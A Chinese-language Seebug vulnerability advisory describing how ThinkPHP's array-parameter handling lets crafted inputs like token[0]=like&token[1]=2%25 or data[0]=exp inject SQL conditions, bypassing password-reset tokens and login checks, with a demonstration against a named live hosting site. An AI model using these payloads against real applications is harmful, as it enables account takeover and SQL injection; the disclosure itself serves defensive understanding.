ThinkPHP设计缺陷导致逻辑漏洞造成密码找回绕过等问题

2015-06-20T00:00:00
ID SSV:95094
Type seebug
Reporter Root
Modified 2015-06-20T00:00:00

Description

简要描述:

在不正确使用 ThinkPHP 时,可能会造成参数处理流程导致的逻辑漏洞。

详细说明:

ThinkPHP 处理传入的参数的时候,如果直接带入一个数组,接着数组带入 SQL 语句,会产生之前 phithon 大牛爆的 0day: WooYun: ThinkPHP框架架构上存在SQL注入 利用方式很简单:

data[0]=exp&data[1]=SQLI

然而,thinkphp 支持的不仅仅是 exp,像 like、in,都会支持。 也就是说,我们可以在很多地方精心构造一个参数,导致造成逻辑漏洞。比如找回密码、权限验证等。
我们传入:

data[0]=like&data[1]=x%25

这样就会编译成如下 mysql 语句:

select xx from xx where data like 'x%'

举个例子: 找回密码的地方,总会有一个 token,这个token如果储存在数据库,又从 url 接受的话,就会有如下情况。 假如 token 为 202cb962ac59075b964b07152d234b70,找回密码的 url 为:

http://localhost/reset?token=202cb962ac59075b964b07152d234b70

那么我们传入:

http://localhost/reset?token[0]=like&token[1]=2%25

不用知道全部的 token 即可重置管理员的密码,因为 2% 在 mysql 中匹配正好会匹配到 202cb962ac59075b964b07152d234b70。
比如在 ThinkOX 登录的地方: POST 内容:

username[0]=like&username[1]=tes%25&password=bb

执行的 SQL 语句为:

<img src="https://images.seebug.org/upload/201506/192325019316991566af60df0c6e4817f7be548c.png" alt="0A498C98-CD9F-4816-906C-E6B0B38DBEC3.png" width="600" onerror="javascript:errimg(this);">

POST 内容:

username[0]=in&username[1][0]=test&username[1][1]=test2&password=bb

执行的 SQL 语句为:

<img src="https://images.seebug.org/upload/201506/192326463b438c38d0c2353a8313ef9a0e76dcbe.png" alt="4800EFDA-8ABA-45CC-A8CB-3F1298DAA1DB.png" width="600" onerror="javascript:errimg(this);">

漏洞证明:

手头没有源码可以测试,但是有一个线上业务,就此测试一下。 1. https://i.hostker.com/member/forgot_password 发送找回密码邮件:

<img src="https://images.seebug.org/upload/201506/1923001007eea293e7dad5f5916aea501ff9eae2.png" alt="F640AFC8-6299-4D8C-8F83-5A24C6E6CCDD.png" width="600" onerror="javascript:errimg(this);">

2.猜测收到的 token,成功发送密码到邮箱 (实际上我没有猜测,因为收到的token开头为 if,所以我直接用 if%来访问) https://i.hostker.com/member/reset_password?session[0]=like&session[1]=if%25

<img src="https://images.seebug.org/upload/201506/19230254d63d432f7646963d28945fb15cebb804.png" alt="3E0D3830-9E76-4AD9-A2DF-961291EEDF66.png" width="600" onerror="javascript:errimg(this);">

这个案例实际上不算利用很成功的案例,因为密码不是在线重设的而是发送到自己的邮箱。<del>给 Hostker 的安全赞一个</del>。